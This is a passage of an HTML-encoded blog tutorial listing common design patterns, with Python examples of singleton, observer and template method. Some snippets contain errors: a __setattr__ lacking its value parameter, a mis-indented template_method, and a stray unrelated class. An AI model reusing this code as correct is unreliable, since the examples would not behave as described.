there are certain quite popular patterns that are the ones that have been compiled to be put in most books dealing with this subject. Generally you will find these:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Singleton&lt;/li&gt;&#xA;&lt;li&gt;Prototype&lt;/li&gt;&#xA;&lt;li&gt;Factory&lt;/li&gt;&#xA;&lt;li&gt;Builder&lt;/li&gt;&#xA;&lt;li&gt;Adapter&lt;/li&gt;&#xA;&lt;li&gt;Decorator&lt;/li&gt;&#xA;&lt;li&gt;Facade&lt;/li&gt;&#xA;&lt;li&gt;Proxy&lt;/li&gt;&#xA;&lt;li&gt;Chain of responsability&lt;/li&gt;&#xA;&lt;li&gt;Command&lt;/li&gt;&#xA;&lt;li&gt;Interpreter&lt;/li&gt;&#xA;&lt;li&gt;Iterator&lt;/li&gt;&#xA;&lt;li&gt;Observer&lt;/li&gt;&#xA;&lt;li&gt;State&lt;/li&gt;&#xA;&lt;li&gt;Strategy&lt;/li&gt;&#xA;&lt;li&gt;Template method&lt;/li&gt;&#xA;&lt;li&gt;Visitor&lt;/li&gt;&#xA;&lt;li&gt;MVC&lt;/li&gt;&#xA;&lt;li&gt;Publish-subscribe&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Just as these patterns emerged in response to existing problems, new patterns are created in response to new problems, so &lt;strong&gt;there is no list of static patterns that are absolute and solve all problems&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;examples-of-patterns-singleton-observer-template-decorator&#34;&gt;Examples of patterns: singleton, observer, template, decorator&lt;/h2&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;I&amp;rsquo;m going to walk you through four examples of design patterns in Python below. Why Python? Because it&amp;rsquo;s pretty simple to understand, even if you&amp;rsquo;ve never written Python code, and if you&amp;rsquo;re coming from a low-level language, it&amp;rsquo;ll probably be a piece of cake for you.&lt;/p&gt;&#xA;&lt;p&gt;Design patterns make it easier to decouple the code, which makes it simpler to add or remove functions and also gives us the assurance that they are solutions that have already been tested over and over again over the years.&lt;/p&gt;&#xA;&lt;p&gt;There are numerous patterns in existence as problems to be solved, as well as patterns can be combined with each other in complex systems. However, there are certain popular patterns that are the ones that have been compiled to be put in most of the books that deal with this subject.&lt;/p&gt;&#xA;&lt;p&gt;Just as these patterns emerged in response to existing problems, new patterns are created in response to new problems, so there is no list of static patterns that are absolute and solve all problems.&lt;/p&gt;&#xA;&lt;p&gt;I will explain three examples of design patterns below.&lt;/p&gt;&#xA;&lt;h3 id=&#34;pattern-singleton&#34;&gt;Pattern singleton&lt;/h3&gt;&#xA;&lt;p&gt;It is used when you want to prevent the creation of multiple instances of the same object. For example, you don&amp;rsquo;t want two objects that control the mouse or the printer running at the same time. Its indiscriminate use is &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://97cosas.com/programador/resiste-tentacion-singleton.html&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;considered by many an anti-pattern.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The trick of its operation occurs in the &lt;em&gt;new&lt;/em&gt; method. This method is called when a class is created and receives the same class as parameter.&lt;/p&gt;&#xA;&lt;p&gt;When a new object is created it will check if the &lt;em&gt;instance&lt;/em&gt; attribute exists in our class. If it does not detect the &lt;em&gt;instance&lt;/em&gt; attribute it will create an instance of the &lt;em&gt;SingletonObject&lt;/em&gt; class and assign it to &lt;em&gt;instance&lt;/em&gt;. Subsequently it will return it. On the other hand, if it detects it, it will simply return it.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;em&gt;getattr&lt;/em&gt; and &lt;em&gt;setattr&lt;/em&gt; methods are modified to get and assign the attributes of the class that is defined in the &lt;em&gt;instance&lt;/em&gt; attribute.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#singleton_object.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       &lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;SingletonObject&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;object&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;__SingletonObject&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;__init__&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;val &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;None&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;__str__&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{0!r}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{1}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;format(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;val)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            instance &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;None&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;__new__&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;cls&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;not&lt;/span&gt; SingletonObject&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;instance:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    SingletonObject&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;instance &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; SingletonObject&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;__SingletonObject()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; SingletonObject&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;instance&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;__getattr__&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, name):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;getattr&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;instance, name)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;__setattr__&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, name):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;setattr&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;instance, name)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;pattern-observer&#34;&gt;Pattern observer&lt;/h3&gt;&#xA;&lt;p&gt;The observer pattern allows an object to keep track of the state changes of another object. For example if we want to notify every user with an email every time the terms of use of a service are updated or to let all users know every time a digital newspaper publishes new material.&lt;/p&gt;&#xA;&lt;p&gt;To achieve this we will make sure that each observer has an &lt;em&gt;update&lt;/em&gt; method (or whatever you want to call it), this method will be called by the Observable, in this class, by means of a &lt;em&gt;callback&lt;/em&gt; which is an anonymous function. This way we will have a decoupling of the classes that observe, because these do not need to know any method of the object, they only need to have an &lt;em&gt;update&lt;/em&gt; method.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Task&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;object&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;__init__&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, user, _type):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;user &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; user&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;_type &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; _type&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;complete&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;add_experience(&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;wallet&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;increase_balance(&lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; badge &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;badges:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;_type &lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt; badge&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;_type:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    badge&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;add_points(&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;ConcreteObserver&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;object&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;update&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, observed):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Observing: &lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;format(observed))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Observable&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;object&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;__init__&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;callbacks &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;set&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;register&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, callback):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;callbacks&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;add(callback)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;unregister&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, callback):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;callbacks&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;discard(callback)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;unregister_all&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;callbacks &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;set&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;update_all&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; callback &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;callbacks:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                callback(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        observed &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Observable()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        observer1 &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ConcreteObserver()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        observed&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;register(&lt;span style=&#34;color:#ff6ac1&#34;&gt;lambda&lt;/span&gt; x: observer1&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;update(x))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        observed&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;update_all()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;__name__&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;__main__&amp;#34;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        main()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;pattern-template&#34;&gt;Pattern template&lt;/h3&gt;&#xA;&lt;p&gt;In this pattern we seek to use the decorator &lt;em&gt;@abstractmethod&lt;/em&gt; to guarantee the implementation of the methods in a derived class.&#xA;In the following example we are forcing, under threat of an error occurring, that the child class implements the methods &lt;em&gt;step1&lt;/em&gt;, &lt;em&gt;step2&lt;/em&gt; and &lt;em&gt;step3&lt;/em&gt;. The &lt;em&gt;template_method&lt;/em&gt; method is inherited as is, so it does not need to be defined.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; abc&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;TemplateAbstractBaseClass&lt;/span&gt;(metaclass&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;abc&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ABCMeta):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;template_method&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;_step_1()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;_step_2()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;_step_n()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff9f43&#34;&gt;@abc.abstractmethod&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;_step_1&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;): &lt;span style=&#34;color:#ff6ac1&#34;&gt;pass&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span 